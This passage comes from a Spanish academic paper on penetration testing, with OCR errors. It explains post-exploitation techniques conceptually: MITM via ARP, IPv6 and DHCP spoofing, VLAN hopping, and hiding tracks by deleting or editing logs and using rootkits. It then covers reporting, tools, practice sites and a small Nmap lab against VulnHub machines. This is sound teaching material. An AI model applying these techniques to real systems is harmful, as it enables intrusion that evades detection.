comandos a quien se conecte a ese puerto.

Ademaés, también existe la posibilidad de hacer que Ncat de manera automatica
haga la conexion con un equipo que configuremos con lo cual evitaremos muchos
sistemas de seguridad que controlan las conexiones entrantes, pero no las salientes. Esto
ultimo es llamado una Reverse Shell. [6]

Por otro lado, debemos sefialar que la utilizacion de backdoors es un tema que
suele preocupar a las empresas auditadas ya que temen que sean descubiertos y utilizados
por alguien no autorizado, por lo que es imprescindible acordar su utilizacion antes de
usarlos. [12]

Una vez hemos asegurado el acceso, realizaremos el proceso conocido como
Internal Footprinting nombrado en la fase de recogida de informacion. Para ello
utilizaremos las herramientas usadas en la fase de recogida de informacién que puedan
ser Gtiles en el analisis de la red auditada y ademaés trataremos de extraer la maxima
informacion de los equipos auditados.

Uno de los primeros sitios a los que acudir para obtener informacién de un equipo
es la configuracion de sus interfaces de red, en ella podremos encontrar datos como sus
direcciones IP, mascaras de subred y puertas de enlace. Ademas, debemos comprobar la
existencia de otras subredes accesibles por el sistema buscando en tablas de enrutamiento,
tablas ARP, NetBIOS y otros protocolos de descubrimiento de equipos. Asimismo,
debemos identificar los servidores DNS en uso ya que pueden ser utiles para descubrir
nuevos sistemas.

También puede haber servicios que no hayan sido identificados en las anteriores
fases que puedan usarse en el descubrimiento de otras redes 0 equipos, por lo que es
imprescindible realizar un perfil de cada sistema al que accedamos y tomar nota de la
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configuracién de estos servicios, su propésito y si pueden ser Utiles para conseguir los
objetivos de la auditoria 0 como pivote para un mayor acceso a la red.

Especial relevancia tienen los servicios de seguridad como firewalls, IDS/IPS o
antivirus ya que conocer en profundidad su configuracion nos dara una idea de que
esperar en otras maquinas de la red y de que alertas puedan haberse producido durante la
auditoria lo cual puede resultar muy atil para ayudar al cliente a mejorar sus politicas de
seguridad. Del mismo modo, debemos fijarnos en la configuracion de los proxis, sea a
nivel de red o de aplicacion, ya que normalmente son iguales en toda la empresa y podrian
ser Utiles para saber como extraer informacion de la organizacion.

Asimismo, las conexiones VPN existentes en un equipo pueden ser Utiles para la
extraccion de informacién ya que no suelen ser bloqueadas por los firewalls o IPS y
ademas pueden permitir el acceso a redes de socios comerciales, etc. [7]

En lo que respecta a la informacion contenida en el equipo, debemos priorizar la
busqueda de la que haya sido definida como objetivo en la fase de comunicacién previa
0 en la de modelado de amenazas. Normalmente consiste en archivos que contengan
informacidn personal, planos, codigo fuente, informacion sobre tarjetas de crédito o datos
bancarios, contrasefias, etcétera. Para ello es imprescindible estar familiarizado con las
aplicaciones mas comunmente usadas en el entorno empresarial ya que muchas de ellas
guardan los archivos en sitios y formatos diferentes. [7]

Después de haber asegurado el acceso futuro al equipo y haber obtenido toda la
informacién posible de él, es recomendable escuchar la red en la que esta situado el
sistema y usar las técnicas de ataques a redes para obtener acceso a la informacion que
circule por ella.

Los ataques a redes se dividen segln [28] en tres tipos diferentes:

En primer lugar, el Sniffing es una técnica que permite procesar la informacion
que circula por la red siempre que esta llegue al adaptador de red. Esta distincion es
importante ya que en una red que use un hub toda la informacion se reenvia a todos los
equipos conectados, pero no es el caso en una red que use un switch. Una herramienta
que permite ver esta informacién y filtrarla es Wireshark.

Por su parte, el Spoofing no es una técnica concreta sino un conjunto de ellas. Su
objetivo comln es suplantar al objetivo. Existen muchos tipos diferentes segin la
tecnologia que se utilice, MAC spoofing, ARP spoofing, DNS spoofing...

La mas conocida y utilizada es la conocida como ARP spoofing que aprovecha el
funcionamiento del protocolo ARP, un ejemplo basico de como funciona seria:

El equipo B (atacante) quiere conocer el trafico que circula entre los equipos A 'y
C, por lo que manda un paquete ARP Reply al equipo Ay otro a C. Este paquete hace que
Ay C asocien la direccion MAC del atacante con la direccion IP del otro equipo, por lo
que cualquier paquete entre A 'y C pasara por B. Lo Unico que le resta hacer a B es enrutar
los paquetes que lleguen de C en direccion A y viceversa. Con esto B ha conseguido
interponerse entre A y C y poder leer la informacién que intercambian sin que estos se
den cuenta. Esto es posible ya que no es necesario que un equipo haya realizado un ARP
Request para que acepte un ARP Reply.
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Este tipo de ataques son conocidos popularmente como MITM. Una de las
herramientas méas usadas para realizar este ataque es Ettercap, por su potencia y facilidad
de uso.

Otro ataque de tipo MITM ampliamente usado es el conocido como Rogue DHCP,
que basa su funcionamiento en el uso de un servidor DHCP falso. Esto es posible debido
al funcionamiento de este protocolo, que consiste en que, si hay dos 0 més servidores
DHCP en una LAN determinada, el equipo que ha hecho la peticion usando una trama
DISCOVERY escoge la respuesta OFFER proporcionada por el DHCP que mas rapido se
la haga llegar. De esta forma el atacante puede interponerse entre ese equipo y cualquier
otro consiguiendo asi su objetivo.

Finalmente, el Hijacking también se refiere a un conjunto de técnicas, pero, en
este caso, de secuestro de informacion. Continuando con un ejemplo anterior, ¢ que impide
a B alterar un paquete de A en direccién C? Sin embargo, el Hijacking es mucho mas que
la alteracion de datos, ya que puede alterar sesiones o comportamientos de diferentes
protocolos como HTTP, Telnet, etc.

Uno de los ataques mas conocidos es el conocido como Browser Hijacking, este
consiste en controlar el navegador web pudiendo lanzar popups, modificar la pagina de
inicio, etcétera. [28]

Mencion aparte merecen los ataques al protocolo IPv6, ya que esta ampliamente
implantado en las empresas debido a que viene activado por defecto en las Ultimas
versiones de Windows y Linux, pero parece olvidado por los administradores que siguen
centrandose en proteger IPv4.

Muchos sistemas de deteccion de intrusos detectan ataques de tipo ARP spoofing,
pero no su equivalente en IPv6 el Neighbor Spoofing. Este ataque aprovecha el
funcionamiento del Neighbor Discovery Protocol ya que en IPv6 no existen ARP ni
RARP.

Este sistema utiliza cinco tipos distintos de mensajes ICMPv6 distintos, de los
cuales dos son equivalentes al protocolo ARP, los mensajes de tipo Neighbor Solicitation
piden la resolucion de la direccion MAC de una direccién IPv6 conocida y los de tipo
Neighbor Advertisement son la respuesta. El fallo del que se aprovecha el atacante para
realizar el ataque MITM es el mismo error que existia ya en IPv4, un equipo no necesita
haber realizado un Neighbor Solicitation para aceptar un Neighbor Advertisement por lo
que bastara con enviar un mensaje NA a los dos equipos atacados poniendo la direccion
IPv6 del otro y la direccion MAC del atacante para lograr interponerse entre ellos.

Ademas del método anterior también podemos realizar el ataque Rogue DHCPv6
que funciona como su analogo en IPv4. También existen otros métodos para realizar
MITM en IPv6 como, por ejemplo, aprovechando la funcion SLAAC, pero son mas
complejos y necesitan ciertas condiciones previas.

Casi todas las herramientas necesarias para realizar ataques a este protocolo estan
presentes en The IPv6 Attack Toolkit que contiene utilidades para la realizacion de
ataques MITM o descubrimiento de equipos entre otras. [28]

Un caso especial en los ataques a redes es el de las VLAN. En lo que respecta a
una VLAN los puertos de un switch pueden ser de dos tipos, de acceso o de trunk. Un
puerto de acceso solamente es miembro de una VLAN mientras que un puerto de tipo
trunk es por defecto miembro de todas. Cuando se usan VLAN el switch es el encargado
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de identificar las etiquetas de los paquetes y enrutarlos solo a la VLAN de la que es
miembro el equipo transmisor. Conociendo estos datos podemos hablar de los dos
principales ataques a las VLAN que pretenden saltarse la seguridad inherente a estas.

El primero es el Switch Spoofing, este ataque aprovecha una mala configuracion
del switch, concretamente de la funcidén auto-trunking (llamada Dinamics Trunking
Protocol en dispositivos Cisco). Esta funcion estd pensada para poder ampliar la
infraestructura de forma facil afiadiendo nuevos switches y consiste en que un puerto
pueda estar configurado en modo pasivo esperando que otro equipo en la capa de enlace
le pida pasar a modo trunk. Por lo tanto, si un equipo esta conectado a un puerto con la
funcion auto-trunking activada podria hacerse pasar por un switch y tendria acceso a
cualquier VLAN existente.

El segundo ataque llamado Double Tagging basa su funcionamiento en etiquetar
dos veces el trafico generado por un sistema. Para ello se encapsula el trafico dirigido a
un equipo en otra VLAN en una trama de la VLAN en la que se encuentra el atacante por
lo que el switch realiza el desencapsulado a un solo nivel y el paquete es remitido a la
otra VLAN como pretendia el atacante. Aunque este ataque suele ser efectivo solo es
valido en una sola direccion ya que el equipo receptor no manda su trafico doblemente
encapsulado, aun asi, puede ser muy Util para un ataque de denegacion de servicio.

Ambos ataques pueden ser realizados usando la herramienta Yersinia nombrada
anteriormente en la fase de analisis de vulnerabilidades. [28]

El Gltimo paso en la fase de Post-Explotacion es cubrir huellas, es decir, eliminar
todo resto de nuestra presencia en el sistema. Para ello tendremos que eliminar o
modificar registros de actividad (logs) y esconder los archivos y carpetas donde hayamos
alojado las herramientas usadas.

Antes de empezar a manipular registros debemos pensar bien que pretendemos
conseguir puesto que, si los eliminamos, nos aseguramos de que nuestra actividad no sea
rastreable ya que al administrador del sistema le resultara muy dificil recrear nuestro
ataque, esto es Util si necesitamos eliminar cualquier rastro de quien somos o de dénde
venimos, pero tiene un inconveniente, ser detectado.

Esto es debido a que cuando un registro es borrado hay grandes posibilidades de
que el administrador se dé cuenta, los registros no son solo usados para detectar
actividades no autorizadas, sino también para conocer el estado del equipo, por lo que un
administrador acudird en primer lugar a los registros si nota algin comportamiento
extrafio en el equipo, por lo que si de repente hay registros ausentes o de tamafio
incorrecto podria sospechar de un usuario no autorizado. [6]

Una forma répida y automatizada de eliminar los logs es usar Meterpreter.
Meterpreter es un payload perteneciente al framework Metasploit que ademas de permitir
el borrado de logs con un solo comando también incorpora otras funciones utiles en la
fase de post-explotacion como, registro de pulsaciones, volcado de hashes de contrasefias,
subida y descarga de archivos entre muchas otras. [12]

Por otra parte, si en vez de eliminar todos los logs nos tomamos el tiempo de
modificarlos podemos borrar solo los que impliquen nuestra presencia en el equipo y
mantener los que no tengan relacion con nosotros, de esta forma es probable que el
administrador no lo advierta con lo cual evitariamos la deteccion. Sin embargo, existe el
posible inconveniente de que no eliminemos todos los necesarios o que eliminemos tantos
que el hueco en los logs sea muy visible. [6]
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Otro tipo de herramienta empleada en este apartado son los rootkits, estos tienen
maultiples utilidades que permiten desde esconder archivos, procesos o programas como
si nunca hubieran sido instalados, hasta registrar teclas, ademéas la mayoria son muy
dificiles de detectar ya que funcionan a nivel de kernel pudiendo asi evitar la deteccién
por herramientas que funcionan a un nivel mas alto del sistema.

Un conocido rootkit es Hacker Defender, funciona solo en sistemas Windows y
ademas también puede usarse como backdoor, entre sus funciones estan las anteriormente
mencionadas, pero también esconder directorios enteros, partes del registro, puertos o
hacer que se inicien programas en el arranque del equipo. [12]

Por Gltimo, después de conseguir toda la informacién posible sobre la red objetivo
y sus equipos pasaremos a la ultima fase del test de penetracién, la elaboracion del
informe.

2.7 ELABORACION DEL INFORME

Una vez terminadas las anteriores fases de la auditoria, queda la elaboracion del
informe que es probablemente la que més dice de un auditor y su empresa. Es importante
recordar que cuanto mejor hagamos nuestro trabajo como auditores menos percibira el
cliente nuestra presencia, por lo tanto, es comun que el informe sea la Unica prueba
tangible que el cliente recibira del proceso de auditoria.

Una vez terminada esta, es imprescindible que presentemos nuestros
descubrimientos de manera organizada y facil de entender ya que en muchas ocasiones el
cliente no sabe con seguridad que hemos estado haciendo y cuantas horas hemos
invertido. Por consiguiente, el informe se convierte en el elemento para evaluar nuestra
competencia. Asi pues, no debemos subestimar esta fase pues, a menudo, el esfuerzo
dedicado o el éxito conseguido seré juzgado mas por el informe que por el propio éxito o
fracaso al acceder a una red.

Es una buena practica enfatizar bajo el titulo de cada informe que el pentest es
solo una instantanea del sistema en el momento en que se hizo la auditoria y solo es valida
y correcta hasta el dia en que se realizo el informe. Esto es debido a que la seguridad de
redes, equipos y software es un &mbito en continuo cambio y lo que es seguro hoy puede
no serlo mafiana si se descubre una nueva vulnerabilidad [12].

Asi pues, ¢qué debe contener un buen informe? Las diferentes metodologias dan
consejos sobre como realizarlo y que debe incluir, sin embargo, no hay ningin estandar
en la industria. La respuesta ideal seria “cualquier cosa que el cliente necesite”.
Desafortunadamente, a la mayoria de los clientes les resulta tan ajena la auditoria que no
saben qué esperar. Esto significa que debemos dedicar tiempo a hablar con el cliente,
averiguar sus objetivos de negocio y ver como encajamos en su plan de seguridad global.

[6]

Para empezar, cualquier informe debe contener en su portada un control de
versiones y los nombres de los autores, revisores y responsables ademas de la fecha para
poder verificar las diferentes versiones en caso de duda. El control de versiones puede ser
en progresion de numeros naturales o bien con la nomenclatura X.X méas usada en
software.

Segun [7] un buen informe debe contener como minimo un informe ejecutivo y
otro técnico. A continuacion, explicaremos qué se espera de cada informe y algunas
directrices para llevarlos a cabo.
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En lo que respecta al informe ejecutivo, pretendemos comunicar a un lector no
técnico los aspectos méas importantes de la auditoria sin usar tecnicismos ni proporcionar
detalles técnicos. Debe tener una longitud por lo general no mayor a las 2 péginas y
centrarse en nuestros descubrimientos y como pueden afectar al negocio. Ademas, debe
proporcionar referencias al informe técnico para que las partes interesadas puedan revisar
los detalles. También es una buena idea recordar el alcance de la auditoria e incluir una
estimacion general del riesgo al que estd sometida la organizacion. [12]

Por otra parte, el informe técnico debe centrarse en proporcionar todos los detalles
necesarios para que los encargados de subsanar los fallos puedan hacerlo. Por lo tanto,
debemos empezar mostrando los fallos que puedan suponer un riesgo mas inmediato para
el cliente. [12]

Clasificar las vulnerabilidades encontradas puede ser una tarea dificil,
afortunadamente la mayoria de herramientas como, por ejemplo, Nessus vienen con un
sistema de clasificacion predeterminado. Eso hara el informe mas facil de leer y permitira
al cliente tomar acciones correctoras en primer lugar en los aspectos mas graves. [12]

Por otro lado, es vital que no dejemos informacion relevante fuera del informe
aunque no hayamos conseguido darle uso. Por ejemplo, si encontramos una
vulnerabilidad critica en uno de los routers perimetrales debemos informar de ella aun
cuando nos haya sido imposible explotarla, ya que, aunque no hayamos podido, el sistema
no deja de ser vulnerable. Asimismo, nunca debemos exagerar ni atenuar nuestros
descubrimientos, nuestro objetivo es informar al cliente de una manera lo mas neutra
posible y dejar que él decida qué es mas importante. [12]

En esta linea, también debemos tener en cuenta los problemas que estén fuera del
alcance de la auditoria, los cuales podemos dividir a grandes rasgos en dos tipos. Por una
parte, estan los servicios 0 programas que encontramos en un equipo y no estan dentro
del alcance, asi como los equipos que estén fuera del alcance, pero conectados a equipos
que si estan dentro. Por otra parte, estan los problemas de tipo sistémico como por ejemplo
contrasefias débiles en los equipos. En el primer caso, deberemos aconsejar al cliente
auditar esos equipos en el futuro y en el segundo, informar para que se tomen las medidas
oportunas. [6]

Otro apunte relevante es que nunca debemos utilizar capturas de pantalla de
pruebas de concepto genéricas pues es peligroso y poco ético. En su lugar, debemos
incluir capturas de pantalla cuando hayamos conseguido explotar con éxito una
vulnerabilidad para que sirva como prueba innegable de que el error existe.

Es bueno recordar que no todas las auditorias resultaran en acceso administrativo
a un sistema, ya que, en muchas ocasiones, la auditoria estara limitada por reglas externas
que reducen su realidad como, el alcance, el tiempo o el presupuesto, sin olvidar otras
como las restricciones legales y éticas. Habra ocasiones en las que realizando un test de
penetracion no consigamos nada (ninguna vulnerabilidad descubierta, ninguna debilidad,
ningun dato 1til...). En estas situaciones es igualmente importante que realicemos el
informe para que quede constancia de todos los vectores de ataque utilizados.

Siempre que sea posible debemos incluir en el informe sugerencias y estrategias
de mitigacion para corregir los problemas encontrados. Algunas herramientas nos
proporcionan esta informacion al descubrir una vulnerabilidad, pero si no es el caso es
importante que encontremos soluciones por nuestra cuenta.
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Un buen sitio donde buscarlas es en las propias paginas donde encontramos los
exploits y vulnerabilidades puesto que suelen incluir sugerencias sobre como arreglar el
fallo. Normalmente, las soluciones son descargar un parche o actualizar una aplicacion,
aunque también pueden ser necesarios cambios en la configuracion o mejoras en el
hardware. Dar solucion a cada uno de los problemas encontrados es una parte vital del
informe técnico y puede ayudar a fidelizar al cliente.

Otra buena practica es proporcionar los resultados de las herramientas utilizadas
como anexo al informe y referenciarlas desde este. Procediendo asi evitaremos, en gran
medida, llamadas del cliente preguntando como descubrimos cierta vulnerabilidad.

Por otra parte, no debemos olvidar como entregaremos el documento al cliente.
Este es un punto que debe ser tratado en la comunicacion previa, pero en el que no esta
de mas insistir llegado el momento.

En el caso de que se haya decidido entregar una copia en papel deberemos
asegurarnos de imprimir y encuadernar profesionalmente y de enviar el documento
mediante correo certificado para verificar que ha sido recibido. En cambio, si se ha optado
por realizar él envio electrénicamente debemos asegurarnos de que el documento esté
como minimo encriptado. [12]

Finalmente, debemos tomarnos un tiempo para leer, releer y editar el informe. Es
tan importante entregar un informe que sea técnicamente preciso como que esté libre de
errores de gramatica y ortografia. Un informe que contuviera estos errores indicaria al
cliente que realizamos un trabajo poco riguroso e influiria negativamente en nuestra
reputacion. No debemos olvidar que se juzgara nuestro trabajo no solo por su nivel técnico
sino también por su presentacion y legibilidad.

Asimismo, es imprescindible tener un informe de muestra que poder ensefar al
cliente porque puede influir en su decisién final de contratar nuestros servicios. Es
fundamental que este informe sea realmente una muestra y no incluya datos reales de
ningun tipo.

Para finalizar con esta fase, cabe mencionar que, dada la complejidad del informe,
muchos clientes esperardn que estemos disponibles tras su entrega para poder realizar
preguntas. Esta es una buena oportunidad para impresionar al cliente y, de este modo,
conseguir futuros negocios juntos. Sin embargo, no debemos olvidar que nuestra voluntad
de ayudar al cliente también debe ser rentable econGmicamente y que no estamos
obligados a prestar nuestros servicios de forma gratuita, por lo que deberemos encontrar
un equilibrio entre una atencidn al cliente excepcional y el beneficio econémico. [12]
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3.PENTEST EN OTROS SISTEMAS OPERATIVOS

Aungque el entorno Linux es el més utilizado y en el que mas herramientas hay
disponibles para el pentester, no podemos olvidar sistemas operativos como Windows y
MacOS ya que con cierta adaptacion pueden convertirse en plataformas de pentest
completas. Ademas, al utilizar aplicaciones nativas en estos SO obtendremos un mejor
rendimiento en comparacion con la utilizacion de una maquina virtual Linux, uno de los
métodos mas comunes de funcionamiento.

En linea con lo anterior, hay algunas herramientas que solo tienen version para un
sistema operativo por lo que es recomendable conocer y saber utilizar varios SO. Una de
estas aplicaciones es la FOCA [29] desarrollada por la empresa espariola Eleven Paths.

Esta herramienta es un potente analizador de metadatos, su funcionamiento
consiste en realizar bdsquedas en Google, Bing y Exalead para encontrar todos los
archivos ofimaticos publicos de un dominio y descargarlos para obtener sus metadatos.
Actualmente soporta archivos Office, Open Office y PDF entre otros. Asimismo, también
permite afiadir archivos locales para extraer la informacion.

Una vez ha obtenido toda la informacién posible la herramienta tratara de unirla
para proporcionar datos como, servidores y equipos encontrados, software usado, rutas
de archivos, nombres de usuarios, servidores DNS, etcétera. Ademas, puede ser ampliada
mediante plugins para aumentar sus capacidades.

Por otra parte, tenemos lOphtcrack [30], esta herramienta se especializa en la
recuperacion de contrasefias de Windows, aunque también puede recuperar las de Linux.
Ademas, permite el uso de hashes pre computados para acelerar el proceso e incluye una
funcién para conocer la fuerza de una contrasefia en funcién de la dificultad para
romperla.

Otra de estas herramientas exclusivas del SO Windows es Cain & Abel [31], una
herramienta de recuperacién de contrasefias fuera de linea tan conocida y potente como
el anteriormente nombrado John The Ripper, sin embargo, no se limita a las contrasefias,
sino que también permite realizar captura de trafico, ataques ARP Spoofing e incluso
captura y reproduccion de conversaciones VoIP entre otras funciones.

Ademas, tenemos disponible la herramienta Evil FOCA que permite realizar gran
parte de las funciones de Cain & Abel, pero en el protocolo IPv6 ademas de IPv4. Entre
otros ataques posibles tenemos el Neighbor Advertisement Spoofing, el ataque SLAAC o
el Rogue DHCPvV6, ademas de ataques DoS sobre IPv4 y IPv6. Para poder llevar a cabo
estos ataques cuenta con un escaner para identificar todos los dispositivos y sus interfaces
de red, asi como sus direcciones fisicas.

Uno de los mayores problemas para el auditor en Windows y MacOS es la
necesidad de buscar y descargar una por una cada aplicacion que desee utilizar. La mejor
solucion es descargar un pack de aplicaciones como Pentest Box Tools [32] para
Windows, esta recopilacion de herramientas contiene algunas de las nombradas
anteriormente como los escaneres de vulnerabilidades web Burp Suite y Nikto, Nmap
para la recogida de informacion o Metasploit para la fase de explotacion.

Su interfaz es similar a la que tendriamos en Linux ya que consiste en una linea
de comandos que ademas incluye la mayoria de utilidades incluidas por defecto como
bash, cat, ssh o vim. Ademas, gracias a que funciona en Windows de forma nativa
consigue un rendimiento optimo, un consumo de memoria RAM mucho menor que el de
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una maquina virtual con funciones comparables y es portatil por lo que podemos usarlo
en cualquier equipo Windows sin necesidad de instalarlo. Asimismo, es modular por lo
que podremos afiadir herramientas usando la utilidad toolsmanager presente en el propio
pack.

En lo que respecta a MacOS tenemos disponible KOsasp [33] con la desventaja de
que contiene algunas herramientas menos que su homologo en Windows. Este pack no
incluye ninguna de las opciones con las que si cuenta Pentest Box Tools aparte de las
herramientas, aunque esto queda suplido en parte debido a que la terminal de MacOS es
similar en su funcionamiento y opciones a la de Linux.

En caso de querer instalar alguna herramienta no contenida en esta recopilacion
y si no hemos podido encontrar un paquete preparado para instalar directamente, tenemos
la opcidn de instalarla usando MacPorts [34] o Homebrew [35].

Estas herramientas son similares en su propoésito a los gestores de paquetes
existentes en Linux como APT o pacman y aunque ambas son efectivas difieren en su
implementacién. Comprender que las diferencia puede ayudarnos a decidir cuél usar.

Homebrew intenta utilizar siempre que sea posible las librerias y programas ya
instalados por Apple. Macports por otro lado instala sus propias librerias y programas
independientemente de lo instalado. Es decir, si un programa necesita Perl 5.23 para
funcionar Homebrew intentara usar la versién ya instalada en el equipo, aunque no sea
exactamente la necesaria, mientras que Macports realizara una instalacion por separado
de la versidn exacta que necesite el programa en cuestion.

Por consiguiente, Homebrew instala menos software y es mas tolerante a
versiones diferentes mientras que Macports nos proporciona exactamente la version
necesaria a costa de una mayor complejidad. Esta ultima herramienta, actualmente cuenta
con mas de 20000 paquetes entre los que se cuentan muchas de las herramientas usadas
en un pentest. Por su parte Homebrew cuenta con mas 3500 paquetes y tiene una
desventaja adicional ya que al depender del software instalado por Apple puede dejar de
funcionar si actualizamos el SO a una nueva version.

En la siguiente seccion, hablaremos sobre como practicar el pentest de forma
gratuita ya sea en linea o fuera de linea.
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4. LLUGARES DONDE PRACTICAR EL PENTEST

En esta seccion de nuestro trabajo pretendemos proporcionar informacion sobre
recursos disponibles gratuitamente en la red para practicar y consolidar los conocimientos
adquiridos.

Uno de los sitios mas conocidos para practicar online es Root-me [36] que se
define como la forma facil, rapida y barata de poner en practica nuestros conocimientos
en seguridad informatica. Cuenta con 50 entornos vulnerables diferentes que pueden ser
desde equipos individuales a redes completas de los que ademas se proporciona las
diferentes soluciones.

También tiene disponibles mas de 200 retos de todo tipo que van desde el
desarrollo de scripts para automatizar tareas hasta la obtencion de acceso administrativo
en un servidor Active Directory. Asimismo, cuenta con una modalidad Ilamada capturar
la bandera en la que se propone un objetivo (por ejemplo, el hash de la contrasefia de
administrador) y varios usuarios intentan obtenerlo lo mas rapido posible.

El sitio también posee un sistema de recompensas econémicas para los usuarios
que aporten nuevas soluciones, nuevos retos e incluso nuevos entornos. En el momento
de redaccion de este trabajo las recompensas variaban entre los 25 euros para desarrollar
un reto relacionado con un Reflected XSS hasta los 500 euros por la creacién de una
maquina virtual ARM vy diez retos asociados a ella. Actualmente cuenta con mas de 46000
miembros.

Otro sitio que nos permite practicar nuestras habilidades online es Pentestlt [37].
Esta plataforma en su version gratuita nos da acceso a una red que cuenta con entre 8 y
12 equipos y servidores en los que debemos encontrar una serie de tokens que demuestran
los diferentes grados de acceso que hemos conseguido en la red.

Esta parte gratuita varia periodicamente ya que suelen crear redes nuevas y las
antiguas pasan a ser de pago, actualmente en la version de pago se puede acceder a 6
redes distintas con un total de 55 sistemas entre equipos y servidores. Actualmente cuenta
con mas de 9500 usuarios registrados.

A continuacién, hablaremos de la web Hack This Site [38], este sitio cuenta con
un IRC y unos foros muy activo en los que hablar sobre cualquier aspecto de la seguridad
informatica. Ademas, tiene disponibles “misiones” en las que practicar nuestras
habilidades con péaginas web completas.

También incluye otras misiones para aprender a realizar ingeniera inversa o
aprender a ver errores de programacion. Actualmente estan reconstruyendo RootThisBox
un apartado del sitio en el que individuos o grupos configuran un equipo para ser usados
como objetivo para que el resto de usuarios 0 equipos intenten penetrar en ellos.

Por ultimo, hablaremos de PentesterLab [39], este sitio esta centrado en el hacking
web y proporciona cursos sobre diferentes temas desde como usar un exploit en concreto
hasta como, a través de inyeccion SQL, obtener acceso a la consola de administracion y
al sistema.

Ademas, para la parte practica de estos cursos se proporcionan maquinas
vulnerables en las que practicar los conocimientos adquiridos. Este sitio cuenta también
con una version de pago que proporciona acceso a mas cursos y también a videos que
complementan las explicaciones por escrito.
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Asimismo, cuenta con una seccion llamada Bootcamp en la que detallan los
conocimientos necesarios para iniciarse en la seguridad informatica y especialmente en
la auditoria web. Esta seccion esta enfocada desde una perspectiva practica en la que para
cada conocimiento a adquirir se sugieren diferentes tareas a llevar a cabo.

Por otra parte, existen paginas web como VulnHub [40] donde podemos encontrar
una recopilacion de decenas de maquinas virtuales vulnerables para descargar y auditar
sin necesidad de estar conectados. En esta pagina podemos encontrar maquinas para
practicar casi cualquier aspecto de la auditoria desde la recogida de informacion hasta la
explotacion de servidores web.

Asimismo, muchas de ellas tienen una historia de fondo que nos va guiando de
una maquina a otra conforme las vamos completando, un ejemplo seria la serie de
maquinas De-ICE que contiene 6 maquinas en orden de dificultad. Ademas, la mayoria
de méquinas del sitio pueden explotarse de varias formas.

Entre las maquinas virtuales disponibles en esta web nos gustaria destacar Net in
VM por su caracter innovador ya que permite emular una red entera en una sola maquina
virtual utilizando User Mode Linux. Esta red esta dividida en 3 subredes con un total de
11 equipos.

Este sitio también incluye una guia sobre como montar un laboratorio casero para
practicar la auditoria y una seccidn con recursos utiles como libros y cursos de pentest y
programacion. Su Unica desventaja es que todas las maquinas usan sistemas operativos
libres como Linux por lo que si estamos interesados en practicar nuestras habilidades en
sistemas Windows deberemos buscar en otro lugar.

Asi pues, el mejor sitio para obtener maquinas virtuales Windows es la web para
desarrolladores de Microsoft [41]. Estas maquinas originalmente pensadas para probar
las diferentes versiones de Internet Explorer y Microsoft Edge en los diferentes sistemas
operativos son muy Utiles ya que estan preparadas para su uso como maquina virtual y
pueden convertirse con poco esfuerzo en buenos objetivos para la practica del pentest.

Por otro lado, desaconsejamos la descarga y utilizacion de versiones de Windows
no originales ya que es dificil saber si han sido modificadas con algun propésito oculto y
pueden provocar graves dafios a nuestro sistema.

Actualmente Apple no da soporte para virtualizar MacOS y remarca que no debe
instalarse en otro hardware que no sea el suyo, por lo que la Unica forma legal de hacer
pentest a este SO seria comprar un equipo de esta compafiia. Existen otras opciones como
instalar el SO en un equipo no Apple [42] o en una maquina virtual modificada, pero
estariamos incumpliendo los términos de la licencia al hacerlo.

A continuacion, realizaremos una pequefia auditoria en la que aplicaremos los
conocimientos adquiridos durante el transcurso de este trabajo.
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5. PRUEBAS

En este apartado usaremos los conocimientos adquiridos durante la realizacion del
trabajo para llevar a cabo una pequefia auditoria. Para ello, utilizaremos dos maquinas
virtuales elegidas aleatoriamente en el sitio web Vulnhub y seguiremos las fases definidas
por el PTES para conseguir acceso administrativo en ellas.

5.1 METODOLOGIA UTILIZADA

Para la realizacion del pentest seguiremos la metodologia y herramientas definidas
en este trabajo y explicaremos los pasos seguidos durante su realizacion. Nuestro objetivo
es conseguir permisos de administrador ya que asi tendremos control total sobre el equipo.

5.2 DESCRIPCION DEL BANCO DE PRUEBAS
El banco de pruebas consta de:
e Una maquina virtual con la distribucién Kali Linux
e Dos méaquinas virtuales elegidas aleatoriamente en VVulnhub

La primera méaquina sera desde la que realizaremos la auditoria y las otras dos
maquinas seran nuestro objetivo. Dado que no es una auditoria real no podremos llevar a
cabo algunas de sus partes como el contacto inicial con el cliente o el modelado de
amenazas Yya que requieren la intervencion de la empresa auditada. Por el mismo motivo
la auditoria empezard en el interior de la red de la empresa ficticia.

5.3 PRUEBAS REALIZADAS

Para empezar con la fase de recogida de informacién utilizamos la herramienta
Nmap indicandole que escanee la red 192.168.1.0/24 en busca de equipos, como resultado
obtenemos las ilustraciones inferiores.

En la figura 2 podemos ver cuéles de entre los 1000 puertos m&s comunes estan
abiertos en el equipo 192.168.1.100. Tenemos varios servidores de correo, un servidor
FTP, un servidor SSH y un servidor HTTP.

Nmap scan report for 192.168.1.100
Host is up (0.00063s latency).
Not shown: 992 filtered ports
STATE SERVICE
closed ftp-data
open ftp
open  ssh

open smtp
open http
open  pop3
open  1imap
closed https
MAC Address: 08:00:27:B6:6F:89 (Oracle VirtualBox virtual NIC)

Figura 2:Escaneo basico Nmap 192.168.1.100

En la figura 3 vemos que en el equipo 192.168.1.108 existe un servidor SSH, un
servidor HTTP y un servidor IRC.
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Nmap scan report for 192.168.1.8
Host is up (0.00011s latency).
Not shown: 997 closed ports

PORT STATE SERVICE

22/tcp open ssh
80/tcp open http
6667/tcp open irc
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)

Figura 3:Escaneo basico Nmap 192.168.1.108

Para continuar con la recogida de informacion una vez identificados los equipos
y habiendo realizado un escaneo bésico de sus puertos pasaremos a centrarnos en cada
equipo por separado, empezando por el 192.168.1.100.

El primer sitio donde debemos buscar informacion es en el servidor web que tras
acceder nos muestra la pagina web que podemos ver en la figura 4.

Welcome to "No Security Corp.'s"
Information Company Portal!!

We had a great picnic the other day - thanks to everyone who helped out. It was unfortunate that
t attacked by the wild marmots towards the end, and we hope Marie M. has a speedy
s and cards can be sent to the North Annex of "Our Lady of Unfortunate Demise,
H()spltdl and Barkhou Rental". We will post pictures of the picnic soon, so check back later.

ATTENTION:

Important! We will be releasing our updated anti-marmot stun gun next week, but we need
volunteers to test out the devices beforehand. If anyone is interested, we will be testing all next
week out back of the chemical shed. B\sz&(hto bring a_mgfithguard, ‘as we've substantially
increased the voltage on this upgraded pIO %&( Wfallly don't want any more broken teeth or
bleeding tongues like last time we tested the guns. Rémember, safety first!

And speaking of the chemical shed, can people please remember to replace the lids to the drums
atter use? We had yet another accident where someone fell in while on their smoke break. Luckily,
the xllag that resulted from the accident seoped into the ground this time, so we don't have to

es again. But ]i‘.’tst to be sure, we're mo\lng the dexlgn’érpd \mol\mg area fr om tho

